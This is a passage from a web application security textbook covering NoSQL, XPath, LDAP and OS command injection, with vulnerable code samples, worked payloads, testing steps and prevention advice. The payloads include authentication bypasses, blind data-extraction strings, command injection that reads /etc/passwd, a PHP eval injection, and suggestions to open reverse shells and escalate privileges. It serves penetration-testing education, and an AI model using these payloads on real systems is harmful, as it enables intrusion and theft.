can be performed using an account that does not have write privileges. If a particular query needs to read only a subset of data (for example, the orders table but not the user accounts table), an account with the corresponding level of access can be used. If this approach is enforced throughout the application, any residual SQL injection fl aws that may exist are likely to have their impact signifi cantly reduced. Many enterprise databases include a huge amount of default functional- ity that can be leveraged by an attacker who gains the ability to execute arbitrary SQL statements. Wherever possible, unnecessary functions should be removed or disabled. Even though there are cases where a skilled and determined attacker may be able to recreate some required functions through other means, this task is not usually straightforward, and the database hardening will still place signifi cant obstacles in the attacker’s path. All vendor-issued security patches should be evaluated, tested, and applied in a timely way to fi x known vulnerabilities within the database software itself. In security-critical situations, database administrators can use various subscriber-based services to obtain advance notifi cation of some known vulnerabilities that have not yet been patched by the vendor. They can implement appropriate work-around measures in the interim. Injecting into NoSQL The term NoSQL is used to refer to various data stores that break from stan- dard relational database architectures. NoSQL data stores represent data using key/value mappings and do not rely on a fi xed schema such as a conventional database table. Keys and values can be arbitrarily defi ned, and the format of the value generally is not relevant to the data store. A further feature of key/ value storage is that a value may be a data structure itself, allowing hierarchical storage, unlike the fl at data structure inside a database schema. c09.indd 342c09.indd 342 8/19/2011 12:09:33 PM8/19/2011 12:09:33 PMStuttard c09.indd V3 - 07/28/2011 Page 343 Chapter 9 Attacking Data Stores 343 NoSQL advocates claim this has several advantages, mainly in handling very large data sets, where the data store’s hierarchical structure can be optimized exactly as required to reduce the overhead in retrieving data sets. In these instances a conventional database may require complex cross-referencing of tables to retrieve information on behalf of an application. From a web application security perspective, the key consideration is how the application queries data, because this determines what forms of injection are possible. In the case of SQL injection, the SQL language is broadly similar across different database products. NoSQL, by contrast, is a name given to a disparate range of data stores, all with their own behaviors. They don’t all use a single query language. Here are some of the common query methods used by NoSQL data stores: Key/value lookup XPath (described later in this chapter) Programming languages such as JavaScript NoSQL is a relatively new technology that has evolved rapidly. It has not been deployed on anything like the scale of more mature technologies such as SQL. Hence, research into NoSQL-related vulnerabilities is still in its infancy. Furthermore, due to the inherently simple means by which many NoSQL imple- mentations allow access to data, examples sometimes discussed of injecting into NoSQL data stores can appear contrived. It is almost certain that exploitable vulnerabilities will arise in how NoSQL data stores are used in today’s and tomorrow’s web applications. One such example, derived from a real-world application, is described in the next section. Injecting into MongoDB Many NoSQL databases make use of existing programming languages to pro- vide a fl exible, programmable query mechanism. If queries are built using string concatenation, an attacker can attempt to break out of the data context and alter the query’s syntax. Consider the following example, which performs a login based on user records in a MongoDB data store: $m = new Mongo(); $db = $m->cmsdb; $collection = $db->user; $js = “function() { return this.username == ‘$username’ & this.password == ‘$password’; }”; $obj = $collection->findOne(array(‘$where’ => $js)); if (isset($obj[“uid”])) { $logged_in=1; c09.indd 343c09.indd 343 8/19/2011 12:09:33 PM8/19/2011 12:09:33 PMStuttard c09.indd V3 - 07/28/2011 Page 344 344 Chapter 9 Attacking Data Stores } else { $logged_in=0; } $js is a JavaScript function, the code for which is constructed dynamically and includes the user-supplied username and password. An attacker can bypass the authentication logic by supplying a username: Marcus’// and any password. The resulting JavaScript function looks like this: function() { return this.username == ‘Marcus’//’ & this.password == ‘aaa’; } NOTE In JavaScript, a double forward slash (//) signifi es a rest-of-line com- ment, so the remaining code in the function is commented out. An alternative means of ensuring that the $js function always returns true, without using a comment, would be to supply a username of: a’ || 1==1 || ‘a’==’a JavaScript interprets the various operators like this: (this.username == ‘a’ || 1==1) || (‘a’==’a’ & this.password == ‘aaa’); This results in all of the resources in the user collection being matched, since the fi rst disjunctive condition is always true (1 is always equal to 1). Injecting into XPath The XML Path Language (XPath) is an interpreted language used to navigate around XML documents and to retrieve data from within them. In most cases, an XPath expression represents a sequence of steps that is required to navigate from one node of a document to another. Where web applications store data within XML documents, they may use XPath to access the data in response to user-supplied input. If this input is inserted into the XPath query without any fi ltering or sanitization, an attacker may be able to manipulate the query to interfere with the application’s logic or retrieve data for which she is not authorized. XML documents generally are not a preferred vehicle for storing enterprise data. However, they are frequently used to store application confi guration data that may be retrieved on the basis of user input. They may also be used by smaller applica- tions to persist simple information such as user credentials, roles, and privileges. c09.indd 344c09.indd 344 8/19/2011 12:09:34 PM8/19/2011 12:09:34 PMStuttard c09.indd V3 - 07/28/2011 Page 345 Chapter 9 Attacking Data Stores 345 Consider the following XML data store:
William Gates MSRocks! billyg@microsoft.com 5130 8190 3282 3515
Chris Dawes secret cdawes@craftnet.de 3981 2491 3242 3121
James Hunter letmein james.hunter@pookmail.com 8113 5320 8014 3313
An XPath query to retrieve all e-mail addresses would look like this: //address/email/text() A query to return all the details of the user Dawes would look like this: //address[surname/text()=’Dawes’] In some applications, user-supplied data may be embedded directly into XPath queries, and the results of the query may be returned in the application’s response or used to determine some aspect of the application’s behavior. Subverting Application Logic Consider an application function that retrieves a user’s stored credit card num- ber based on a username and password. The following XPath query effectively verifi es the user-supplied credentials and retrieves the relevant user’s credit card number: //address[surname/text()=’Dawes’ and password/text()=’secret’]/ccard/ text() c09.indd 345c09.indd 345 8/19/2011 12:09:34 PM8/19/2011 12:09:34 PMStuttard c09.indd V3 - 07/28/2011 Page 346 346 Chapter 9 Attacking Data Stores In this case, an attacker may be able to subvert the application’s query in an identical way to a SQL injection fl aw. For example, supplying a password with this value: ‘ or ‘a’=’a results in the following XPath query, which retrieves the credit card details of all users: //address[surname/text()=’Dawes’ and password/text()=’’ or ‘a’=’a’]/ ccard/text() NOTE As with SQL injection, single quotation marks are not required when injecting into a numeric value. Unlike SQL queries, keywords in XPath queries are case-sensitive, as are the element names in the XML document itself. Informed XPath Injection XPath injection fl aws can be exploited to retrieve arbitrary information from within the target XML document. One reliable way of doing this uses the same technique as was described for SQL injection, of causing the application to respond in different ways, contingent on a condition specifi ed by the attacker. Submitting the following two passwords will result in different behavior by the application. Results are returned in the fi rst case but not in the second: ‘ or 1=1 and ‘a’=’a ‘ or 1=2 and ‘a’=’a This difference in behavior can be leveraged to test the truth of any specifi ed condition and, therefore, extract arbitrary information one byte at a time. As with SQL, the XPath language contains a substring function that can be used to test the value of a string one character at a time. For example, supplying this password: ‘ or //address[surname/text()=’Gates’ and substring(password/text(),1,1)= ‘M’] and ‘a’=’a results in the following XPath query, which returns results if the fi rst character of the Gates user’s password is M: //address[surname/text()=’Dawes’ and password/text()=’’ or //address[surname/text()=’Gates’ and substring(password/text(),1,1)= ‘M’] and ‘a’=’a ‘]/ccard/text() c09.indd 346c09.indd 346 8/19/2011 12:09:34 PM8/19/2011 12:09:34 PMStuttard c09.indd V3 - 07/28/2011 Page 347 Chapter 9 Attacking Data Stores 347 By cycling through each character position and testing each possible value, an attacker can extract the full value of Gates’ password. TRY IT! http://mdsec.net/cclookup/14/ Blind XPath Injection In the attack just described, the injected test condition specifi ed both the absolute path to the extracted data (address) and the names of the targeted fi elds (surname and password). In fact, it is possible to mount a fully blind attack without pos- sessing this information. XPath queries can contain steps that are relative to the current node within the XML document, so from the current node it is possible to navigate to the parent node or to a specifi c child node. Furthermore, XPath contains functions to query meta-information about the document, including the name of a specifi c element. Using these techniques, it is possible to extract the names and values of all nodes within the document without knowing any prior information about its structure or contents. For example, you can use the substring technique described previously to extract the name of the current node’s parent by supplying a series of passwords of this form: ‘ or substring(name(parent::*[position()=1]),1,1)= ‘a This input generates results, because the fi rst letter of the address node is a. Moving on to the second letter, you can confi rm that this is d by supplying the following passwords, the last of which generates results: ‘ or substring(name(parent::*[position()=1]),2,1)=’a ‘ or substring(name(parent::*[position()=1]),2,1)=’b ‘ or substring(name(parent::*[position()=1]),2,1)=’c ‘ or substring(name(parent::*[position()=1]),2,1)=’d Having established the name of the address node, you can then cycle through each of its child nodes, extracting all their names and values. Specifying the relevant child node by index avoids the need to know the names of any nodes. For example, the following query returns the value Hunter: //address[position()=3]/child::node()[position()=4]/text() And the following query returns the value letmein: //address[position()=3]/child::node()[position()=6]/text() c09.indd 347c09.indd 347 8/19/2011 12:09:34 PM8/19/2011 12:09:34 PMStuttard c09.indd V3 - 07/28/2011 Page 348 348 Chapter 9 Attacking Data Stores This technique can be used in a completely blind attack, where no results are returned within the application’s responses, by crafting an injected condition that specifi es the target node by index. For example, supplying the following password returns results if the fi rst character of Gates’ password is M: ‘ or substring(//address[position()=1]/child::node()[position()=6]/ text(),1,1)= ‘M’ and ‘a’=’a By cycling through every child node of every address node, and extracting their values one character at a time, you can extract the entire contents of the XML data store. TIP XPath contains two useful functions that can help you automate the preceding attack and quickly iterate through all nodes and data in the XML document: count() returns the number of child nodes of a given element, which can be used to determine the range of position() values to iterate over. string-length() returns the length of a supplied string, which can be used to determine the range of substring() values to iterate over. TRY IT! http://mdsec.net/cclookup/19/ Finding XPath Injection Flaws Many of the attack strings that are commonly used to probe for SQL injection fl aws typically result in anomalous behavior when submitted to a function that is vulnerable to XPath injection. For example, either of the following two strings usually invalidates the XPath query syntax and generates an error: ‘ ‘-- One or more of the following strings typically result in some change in the application’s behavior without causing an error, in the same way as they do in relation to SQL injection fl aws: ‘ or ‘a’=’a ‘ and ‘a’=’b or 1=1 and 1=2 c09.indd 348c09.indd 348 8/19/2011 12:09:34 PM8/19/2011 12:09:34 PMStuttard c09.indd V3 - 07/28/2011 Page 349 Chapter 9 Attacking Data Stores 349 Hence, in any situation where your tests for SQL injection provide tentative evidence for a vulnerability, but you are unable to conclusively exploit the fl aw, you should investigate the possibility that you are dealing with an XPath injec- tion fl aw. HACK STEPS 1. Try submitting the following values, and determine whether these result in different application behavior, without causing an error: ‘ or count(parent::*[position()=1])=0 or ‘a’=’b ‘ or count(parent::*[position()=1])>0 or ‘a’=’b If the parameter is numeric, also try the following test strings: 1 or count(parent::*[position()=1])=0 1 or count(parent::*[position()=1])>0 2. If any of the preceding strings causes differential behavior within the application without causing an error, it is likely that you can extract arbi- trary data by crafting test conditions to extract one byte of information at a time. Use a series of conditions with the following form to determine the name of the current node’s parent: substring(name(parent::*[position()=1]),1,1)=’a’ 3. Having extracted the name of the parent node, use a series of conditions with the following form to extract all the data within the XML tree: substring(//parentnodename[position()=1]/child::node() [position()=1]/text(),1,1)=’a’ Preventing XPath Injection If you think it is necessary to insert user-supplied input into an XPath query, this operation should only be performed on simple items of data that can be subjected to strict input validation. The user input should be checked against a white list of acceptable characters, which should ideally include only alpha- numeric characters. Characters that may be used to interfere with the XPath query should be blocked, including ( ) = ‘ [ ] : , * / and all whitespace. Any input that does not match the white list should be rejected, not sanitized. Injecting into LDAP The Lightweight Directory Access Protocol (LDAP) is used to access directory services over a network. A directory is a hierarchically organized data store that may contain any kind of information but is commonly used to store personal data such as names, telephone numbers, e-mail addresses, and job functions. c09.indd 349c09.indd 349 8/19/2011 12:09:34 PM8/19/2011 12:09:34 PMStuttard c09.indd V3 - 07/28/2011 Page 350 350 Chapter 9 Attacking Data Stores Common examples of LDAP are the Active Directory used within Windows domains, and OpenLDAP, used in various situations. You are most likely to encounter LDAP being used in corporate intranet-based web applications, such as an HR application that allows users to view and modify information about employees. Each LDAP query uses one or more search fi lters, which determine the direc- tory entries that are returned by the query. Search fi lters can use various logical operators to represent complex search conditions. The most common search fi lters you are likely to encounter are as follows: Simple match conditions match on the value of a single attribute. For example, an application function that searches for a user via his username might use this fi lter: (username=daf) Disjunctive queries specify multiple conditions, any one of which must be satisfi ed by entries that are returned. For example, a search function that looks up a user-supplied search term in several directory attributes might use this fi lter: (|(cn=searchterm)(sn=searchterm)(ou=searchterm)) Conjunctive queries specify multiple conditions, all of which must be satisfi ed by entries that are returned. For example, a login mechanism implemented in LDAP might use this fi lter: (&(username=daf)(password=secret) As with other forms of injection, if user-supplied input is inserted into an LDAP search fi lter without any validation, it may be possible for an attacker to supply crafted input that modifi es the fi lter’s structure and thereby retrieve data or perform actions in an unauthorized way. In general, LDAP injection vulnerabilities are not as readily exploitable as SQL injection fl aws, due to the following factors: Where the search fi lter employs a logical operator to specify a conjunctive or disjunctive query, this usually appears before the point where user- supplied data is inserted and therefore cannot be modifi ed. Hence, simple match conditions and conjunctive queries don’t have an equivalent to the “or 1=1” type of attack that arises with SQL injection. In the LDAP implementations that are in common use, the directory attri- butes to be returned are passed to the LDAP APIs as a separate parameter from the search fi lter and normally are hard-coded within the application. c09.indd 350c09.indd 350 8/19/2011 12:09:34 PM8/19/2011 12:09:34 PMStuttard c09.indd V3 - 07/28/2011 Page 351 Chapter 9 Attacking Data Stores 351 Hence, it usually is not possible to manipulate user-supplied input to retrieve different attributes than the query was intended to retrieve. Applications rarely return informative error messages, so vulnerabilities generally need to be exploited “blind.” Exploiting LDAP Injection Despite the limitations just described, in many real-world situations it is possible to exploit LDAP injection vulnerabilities to retrieve unauthorized data from the application or to perform unauthorized actions. The details of how this is done typi- cally are highly dependent on the construction of the search fi lter, the entry point for user input, and the implementation details of the back-end LDAP service itself. Disjunctive Queries Consider an application that lets users list employees within a specifi ed depart- ment of the business. The search results are restricted to the geographic locations that the user is authorized to view. For example, if a user is authorized to view the London and Reading locations, and he searches for the “sales” department, the application performs the following disjunctive query: (|(department=London sales)(department=Reading sales)) Here, the application constructs a disjunctive query and prepends different expressions before the user-supplied input to enforce the required access control. In this situation, an attacker can subvert the query to return details of all employees in all locations by submitting the following search term: )(department=* The * character is a wildcard in LDAP; it matches any item. When this input is embedded into the LDAP search fi lter, the following query is performed: (|(department=London )(department=*)(department=Reading )(department=*)) Since this is a disjunctive query and contains the wildcard term (depart- ment=*), it matches on all directory entries. It returns the details of all employees from all locations, thereby subverting the application’s access control. TRY IT! http://mdsec.net/employees/31/ http://mdsec.net/employees/49/ c09.indd 351c09.indd 351 8/19/2011 12:09:34 PM8/19/2011 12:09:34 PMStuttard c09.indd V3 - 07/28/2011 Page 352 352 Chapter 9 Attacking Data Stores Conjunctive Queries Consider a similar application function that allows users to search for employ- ees by name, again within the geographic region they are authorized to view. If a user is authorized to search within the London location, and he searches for the name daf, the following query is performed: (&(givenName=daf)(department=London*)) Here, the user’s input is inserted into a conjunctive query, the second part of which enforces the required access control by matching items in only one of the London departments. In this situation, two different attacks might succeed, depending on the details of the back-end LDAP service. Some LDAP implementations, including OpenLDAP, allow multiple search fi lters to be batched, and these are applied disjunctively. (In other words, directory entries are returned that match any of the batched fi lters.) For example, an attacker could supply the following input: *))(&(givenName=daf When this input is embedded into the original search fi lter, it becomes: (&(givenName=*))(&(givenName=daf)(department=London*)) This now contains two search fi lters, the fi rst of which contains a single wildcard match condition. The details of all employees are returned from all locations, thereby subverting the application’s access control. TRY IT! http://mdsec.net/employees/42/ NOTE This technique of injecting a second search fi lter is also effective against simple match conditions that do not employ any logical operator, pro- vided that the back-end implementation accepts multiple search fi lters. The second type of attack against conjunctive queries exploits how many LDAP implementations handle NULL bytes. Because these implementations typically are written in native code, a NULL byte within a search fi lter effectively terminates the string, and any characters coming after the NULL are ignored. Although LDAP does not itself support comments (in the way that the -- sequence can be used in SQL), this handling of NULL bytes can effectively be exploited to “comment out” the remainder of the query. c09.indd 352c09.indd 352 8/19/2011 12:09:34 PM8/19/2011 12:09:34 PMStuttard c09.indd V3 - 07/28/2011 Page 353 Chapter 9 Attacking Data Stores 353 In the preceding example, the attacker can supply the following input: *))%00 The %00 sequence is decoded by the application server into a literal NULL byte, so when the input is embedded into the search fi lter, it becomes: (&(givenName=*))[NULL])(department=London*)) Because this fi lter is truncated at the NULL byte, as far as LDAP is concerned it contains only a single wildcard condition, so the details of all employees from departments outside the London area are also returned. TRY IT! http://mdsec.net/employees/13/ http://mdsec.net/employees/42/ Finding LDAP Injection Flaws Supplying invalid input to an LDAP operation typically does not result in an informative error message. In general, the evidence available to you in diagnosing vulnerability includes the results returned by a search function and the occur- rence of an error such as an HTTP 500 status code. Nevertheless, you can use the following steps to identify an LDAP injection fl aw with a degree of reliability. HACK STEPS 1. Try entering just the * character as a search term. This character functions as a wildcard in LDAP, but not in SQL. If a large number of results are returned, this is a good indicator that you are dealing with an LDAP query. 2. Try entering a number of closing brackets: )))))))))) This input closes any brackets enclosing your input, as well as those that encapsulate the main search filter itself. This results in unmatched closing brackets, thus invalidating the query syntax. If an error results, the application may be vulnerable to LDAP injection. (Note that this input may also break many other kinds of application logic, so this provides a strong indicator only if you are already confident that you are dealing with an LDAP query.) Continued c09.indd 353c09.indd 353 8/19/2011 12:09:34 PM8/19/2011 12:09:34 PMStuttard c09.indd V3 - 07/28/2011 Page 354 354 Chapter 9 Attacking Data Stores 3. Try entering various expressions designed to interfere with different types of queries, and see if these allow you to influence the results being returned. The cn attribute is supported by all LDAP implementations and is useful to use if you do not know any details about the directory you are querying. For example: )(cn=* *))(|(cn=* *))%00 Preventing LDAP Injection If it is necessary to insert user-supplied input into an LDAP query, this opera- tion should be performed only on simple items of data that can be subjected to strict input validation. The user input should be checked against a white list of acceptable characters, which should ideally include only alphanumeric char- acters. Characters that may be used to interfere with the LDAP query should be blocked, including ( ) ; , * | & = and the null byte. Any input that does not match the white list should be rejected, not sanitized. Summary We have examined a range of vulnerabilities that allow you to inject into web application data stores. These vulnerabilities may allow you to read or modify sensitive application data, perform other unauthorized actions, or subvert appli- cation logic to achieve an objective. As serious as these attacks are, they are only part of a wider range of attacks that involve injecting into interpreted contexts. Other attacks in this category may allow you to execute commands on the server’s operating system, retrieve arbitrary fi les, and interfere with other back-end components. The next chapter examines these attacks and others. It looks at how vulnerabilities within a web application can lead to compromise of key parts of the wider infrastructure that supports the application. Questions Answers can be found at http://mdsec.net/wahh. 1. You are trying to exploit a SQL injection fl aw by performing a UNION attack to retrieve data. You do not know how many columns the original query returns. How can you fi nd this out? HACK STEPS (CONTINUED) c09.indd 354c09.indd 354 8/19/2011 12:09:34 PM8/19/2011 12:09:34 PMStuttard c09.indd V3 - 07/28/2011 Page 355 Chapter 9 Attacking Data Stores 355 2. You have located a SQL injection vulnerability in a string parameter. You believe the database is either MS-SQL or Oracle, but you can’t retrieve any data or an error message to confi rm which database is running. How can you fi nd this out? 3. You have submitted a single quotation mark at numerous locations through- out the application. From the resulting error messages you have diagnosed several potential SQL injection fl aws. Which one of the following would be the safest location to test whether more crafted input has an effect on the application’s processing? (a) Registering a new user (b) Updating your personal details (c) Unsubscribing from the service 4. You have found a SQL injection vulnerability in a login function, and you try to use the input ‘ or 1=1-- to bypass the login. Your attack fails, and the resulting error message indicates that the -- characters are being stripped by the application’s input fi lters. How could you circumvent this problem? 5. You have found a SQL injection vulnerability but have been unable to carry out any useful attacks, because the application rejects any input containing whitespace. How can you work around this restriction? 6. The application is doubling up all single quotation marks within user input before these are incorporated into SQL queries. You have found a SQL injection vulnerability in a numeric fi eld, but you need to use a string value in one of your attack payloads. How can you place a string in your query without using any quotation marks? 7. In some rare situations, applications construct dynamic SQL queries from user-supplied input in a way that cannot be made safe using parameter- ized queries. When does this occur? 8. You have escalated privileges within an application such that you now have full administrative access. You discover a SQL injection vulnerability within a user administration function. How can you leverage this vulner- ability to further advance your attack? 9. You are attacking an application that holds no sensitive data and contains no authentication or access control mechanisms. In this situation, how should you rank the signifi cance of the following vulnerabilities? (a) SQL injection (b) XPath injection (c) OS command injection c09.indd 355c09.indd 355 8/19/2011 12:09:34 PM8/19/2011 12:09:34 PMStuttard c09.indd V3 - 07/28/2011 Page 356 356 Chapter 9 Attacking Data Stores 10. You are probing an application function that enables you to search person- nel details. You suspect that the function is accessing either a database or an Active Directory back end. How could you try to determine which of these is the case? c09.indd 356c09.indd 356 8/19/2011 12:09:34 PM8/19/2011 12:09:34 PMStuttard c10.indd V2 - 07/05/2011 Page 357 357 CHAPTER 10 Attacking Back-End Components Web applications are increasingly complex offerings. They frequently function as the Internet-facing interface to a variety of business-critical resources on the back end, including networked resources such as web services, back-end web servers, mail servers, and local resources such as fi lesystems and interfaces to the operating system. Frequently, the application server also acts as a discretionary access control layer for these back-end components. Any successful attack that could perform arbitrary interaction with a back-end component could potentially violate the entire access control model applied by the web application, allowing unauthorized access to sensitive data and functionality. When data is passed from one component to another, it is interpreted by different sets of APIs and interfaces. Data that is considered “safe” by the core application may be extremely unsafe within the onward component, which may support different encodings, escape characters, fi eld delimiters, or string terminators. Additionally, the onward component may possess considerably more functionality than what the application normally invokes. An attacker exploiting an injection vulnerability can often go beyond merely breaking the application’s access control. She can exploit the additional functionality sup- ported by the back-end component to compromise key parts of the organiza- tion’s infrastructure. c10.indd 357c10.indd 357 8/19/2011 12:10:45 PM8/19/2011 12:10:45 PMStuttard c10.indd V2 - 07/05/2011 Page 358 358 Chapter 10 Attacking Back-End Components Injecting OS Commands Most web server platforms have evolved to the point where built-in APIs exist to perform practically any required interaction with the server’s operating system. Properly used, these APIs can enable developers to access the fi lesys- tem, interface with other processes, and carry out network communications in a safe manner. Nevertheless, there are many situations in which developers elect to use the more heavyweight technique of issuing operating system com- mands directly to the server. This option can be attractive because of its power and simplicity and often provides an immediate and functional solution to a particular problem. However, if the application passes user-supplied input to operating system commands, it may be vulnerable to command injection, enabling an attacker to submit crafted input that modifi es the commands that the developers intended to perform. The functions commonly used to issue operating system commands, such as exec in PHP and wscript.shell in ASP, do not impose any restrictions on the scope of commands that may be performed. Even if a developer intends to use an API to perform a relatively benign task such as listing a directory’s contents, an attacker may be able to subvert it to write arbitrary fi les or launch other programs. Any injected commands usually run in the security context of the web server process, which often is suffi ciently powerful for an attacker to compromise the entire server. Command injection fl aws of this kind have arisen in numerous off-the-shelf and custom-built web applications. They have been particularly prevalent within applications that provide an administrative interface to an enterprise server or to devices such as fi rewalls, printers, and routers. These applications often have particular requirements for operating system interaction that lead developers to use direct commands that incorporate user-supplied data. Example 1: Injecting Via Perl Consider the following Perl CGI code, which is part of a web application for server administration. This function allows administrators to specify a direc- tory on the server and view a summary of its disk usage: #!/usr/bin/perl use strict; use CGI qw(:standard escapeHTML); print header, start_html(“”); print “
”;  my $command = “du -h --exclude php* /var/www/html”;  $command= $command.param(“dir”);  $command=`$command`;  c10.indd 358c10.indd   358 8/19/2011 12:10:45 PM8/19/2011   12:10:45 PMStuttard   c10.indd   V2 - 07/05/2011 Page 359   Chapter 10  Attacking Back-End Components  359  print “$command\n”;  print end_html;  When used as intended, this script simply appends the value of the user-  supplied dir parameter to the end of a preset command, executes the command,   and displays the results, as shown in Figure 10-1.  Figure 10-1:  A simple application function for listing a directory’s contents  This functionality can be exploited in various ways by supplying crafted input   containing shell metacharacters. These characters have a special meaning to   the interpreter that processes the command and can be used to interfere with   the command that the developer intended to execute. For example, the pipe   character (|) is used to redirect the output from one process into the input of   another, enabling multiple commands to be chained together. An attacker can   leverage this behavior to inject a second command and retrieve its output, as   shown in Figure 10-2.  Here, the output from the original du command has been redirected as the   input to the command cat/etc/passwd. This command simply ignores the   input and performs its sole task of outputting the contents of the passwd fi le.  An attack as simple as this may appear improbable; however, exactly this type   of command injection has been found in numerous commercial products. For   example, HP OpenView was found to be vulnerable to a command injection   fl aw within the following URL:  https://target:3443/OvCgi/connectedNodes.ovpl?node=a| [your command] |  c10.indd 359c10.indd   359 8/19/2011 12:10:45 PM8/19/2011   12:10:45 PMStuttard   c10.indd   V2 - 07/05/2011 Page 360  360 Chapter 10  Attacking Back-End Components  Figure 10-2:  A successful command injection attack  Example 2: Injecting Via ASP  Consider the following C# code, which is part of a web application for admin-  istering a web server. The function allows administrators to view the contents   of a requested directory:  string dirName = “C:\\filestore\\” + Directory.Text;  ProcessStartInfo psInfo = new ProcessStartInfo(“cmd”, “/c dir “ +   dirName);  ...  Process proc = Process.Start(psInfo);  When used as intended, this script inserts the value of the user-supplied   Directory parameter into a preset command, executes the command, and   displays the results, as shown in Figure 10-3.  As with the vulnerable Perl script, an attacker can use shell metacharacters to   interfere with the preset command intended by the developer and inject his own   command. The ampersand character (&) is used to batch multiple commands.   Supplying a fi lename containing the ampersand character and a second com-  mand causes this command to be executed and its results displayed, as shown   in Figure 10-4.  c10.indd 360c10.indd   360 8/19/2011 12:10:46 PM8/19/2011   12:10:46 PMStuttard   c10.indd   V2 - 07/05/2011 Page 361   Chapter 10  Attacking Back-End Components  361  Figure 10-3:  A function to list the contents of a directory  Figure 10-4: A  successful command injection attack  c10.indd 361c10.indd   361 8/19/2011 12:10:46 PM8/19/2011   12:10:46 PMStuttard   c10.indd   V2 - 07/05/2011 Page 362  362 Chapter 10  Attacking Back-End Components  TRY IT!  http://mdsec.net/admin/5/  http://mdsec.net/admin/9/  http://mdsec.net/admin/14/  Injecting Through Dynamic Execution  Many web scripting languages support the dynamic execution of code that is   generated at runtime. This feature enables developers to create applications that   dynamically modify their own code in response to various data and conditions.   If user input is incorporated into code that is dynamically executed, an attacker   may be able to supply crafted input that breaks out of the intended data context   and specifi es commands that are executed on the server in the same way as if   they had been written by the original developer. The fi rst target of an attacker   at this point typically is to inject an API that runs OS commands.  The PHP function eval is used to dynamically execute code that is passed to   the function at runtime. Consider a search function that enables users to create   stored searches that are then dynamically generated as links within their user   interface. When users access the search function, they use a URL like the following:  /search.php?storedsearch=\$mysearch%3dwahh  The server-side application implements this functionality by dynamically   generating variables containing the name/value pairs specifi ed in the stored-  search parameter, in this case creating a mysearch variable with the value wahh:  $storedsearch = $_GET[‘storedsearch’];  eval(“$storedsearch;”);  In this situation, you can submit crafted input that is dynamically executed   by the eval function, resulting in injection of arbitrary PHP commands into   the server-side application. The semicolon character can be used to batch com-  mands in a single parameter. For example, to retrieve the contents of the fi le   /etc/password, you could use either the file_get_contents or system command:  /search.php?storedsearch=\$mysearch%3dwahh;%20echo%20file_get  _contents(‘/etc/passwd’)  /search.php?storedsearch=\$mysearch%3dwahh;%20system(‘cat%20/etc/  passwd’)  NOTE The Perl language also contains an eval function that can be   exploited in the same way. Note that the semicolon character may need to   be URL-encoded (as %3b) because some CGI script parsers interpret this as a   parameter delimiter. In classic ASP, Execute() performs a similar role.  c10.indd 362c10.indd   362 8/19/2011 12:10:46 PM8/19/2011   12:10:46 PMStuttard   c10.indd   V2 - 07/05/2011 Page 363   Chapter 10  Attacking Back-End Components  363  Finding OS Command Injection Flaws  In your application mapping exercises (see Chapter 4), you should have identi-  fi ed any instances where the web application appears to be interacting with   the underlying operating system by calling external processes or accessing the   fi lesystem. You should probe all these functions, looking for command injection   fl aws. In fact, however, the application may issue operating system commands   containing absolutely any item of user-supplied data, including every URL and   body parameter and every cookie. To perform a thorough test of the application,   you therefore need to target all these items within every application function.  Different command interpreters handle shell metacharacters in different ways.   In principle, any type of application development platform or web server may   call out to any kind of shell interpreter, running either on its own operating sys-  tem or that of any other host. Therefore, you should not make any assumptions   about the application’s handling of metacharacters based on any knowledge of   the web server’s operating system.  Two broad types of metacharacters may be used to inject a separate command   into an existing preset command:    The characters ;|& and newline may be used to batch multiple commands,   one after the other. In some cases, these characters may be doubled with   different effects. For example, in the Windows command interpreter,   using && causes the second command to run only if the fi rst is successful.   Using || causes the second command to always run, regardless of the   success of the fi rst.    The backtick character (`) can be used to encapsulate a separate command   within a data item being processed by the original command. Placing an   injected command within backticks causes the shell interpreter to execute   the command and replace the encapsulated text with the results of this   command before continuing to execute the resulting command string.  In the previous examples, it was straightforward to verify that command injec-  tion was possible and to retrieve the results of the injected command, because   those results were returned immediately within the application’s response.   In many cases, however, this may not be possible. You may be injecting into a   command that returns no results and which does not affect the application’s   subsequent processing in any identifi able way. Or the method you have used   to inject your chosen command may be such that its results are lost as multiple   commands are batched together.  In general, the most reliable way to detect whether command injection is   possible is to use time-delay inference in a similar way as was described for   exploiting blind SQL injection. If a potential vulnerability appears to exist, you   can then use other methods to confi rm this and to retrieve the results of your   injected commands.  c10.indd 363c10.indd   363 8/19/2011 12:10:46 PM8/19/2011   12:10:46 PMStuttard   c10.indd   V2 - 07/05/2011 Page 364  364 Chapter 10  Attacking Back-End Components  HACK STEPS    1.  You can normally use the ping command as a means of triggering a time   delay by causing the server to ping its loopback interface for a specific   period. There are minor differences between how Windows and UNIX-  based platforms handle command separators and the ping command.   However, the following all-purpose test string should induce a 30-second   time delay on either platform if no filtering is in place:  || ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &  To maximize your chances of detecting a command injection flaw if the   application is filtering certain command separators, you should also sub-  mit each of the following test strings to each targeted parameter in turn   and monitor the time taken for the application to respond:  | ping –i 30 127.0.0.1 |  | ping –n 30 127.0.0.1 |  & ping –i 30 127.0.0.1 &  & ping –n 30 127.0.0.1 &  ; ping 127.0.0.1 ;  %0a ping –i 30 127.0.0.1 %0a  ` ping 127.0.0.1 `    2.  If a time delay occurs, the application may be vulnerable to command   injection. Repeat the test case several times to confirm that the delay was   not the result of network latency or other anomalies. You can try changing   the value of the -n or -i parameters and confirming that the delay expe-  rienced varies systematically with the value supplied.    3.  Using whichever of the injection strings was found to be successful, try   injecting a more interesting command (such as ls or dir). Determine   whether you can retrieve the results of the command to your browser.    4.  If you are unable to retrieve results directly, you have other options:    You can attempt to open an out-of-band channel back to your computer.   Try using TFTP to copy tools up to the server, using telnet or netcat to   create a reverse shell back to your computer, and using the mail com-  mand to send command output via SMTP.    You can redirect the results of your commands to a fi le within the web   root, which you can then retrieve directly using your browser. For example:  dir > c:\inetpub\wwwroot\foo.txt    5.  When you have found a means of injecting commands and retrieving the   results, you should determine your privilege level (by using whoami or   something similar, or attempting to write a harmless file to a protected   directory). You may then seek to escalate privileges, gain backdoor access   to sensitive application data, or attack other hosts reachable from the   compromised server.  c10.indd 364c10.indd   364 8/19/2011 12:10:46 PM8/19/2011   12:10:46 PMStuttard   c10.indd   V2 - 07/05/2011 Page 365   Chapter 10  Attacking Back-End Components  365  In some cases, it may not be possible to inject an entirely separate com-  mand due to fi ltering of required characters or the behavior of the command   API being used by the application. Nevertheless, it may still be possible to   interfere with the behavior of the command being performed to achieve   some desired result.  In one instance seen by the authors, the application passed user input   to the operating system command nslookup to fi nd the IP address of a   domain name supplied by the user. The metacharacters needed to inject new   commands were being blocked, but the < and > characters used to redirect   the command’s input and output were allowed. The nslookup command   usually outputs the 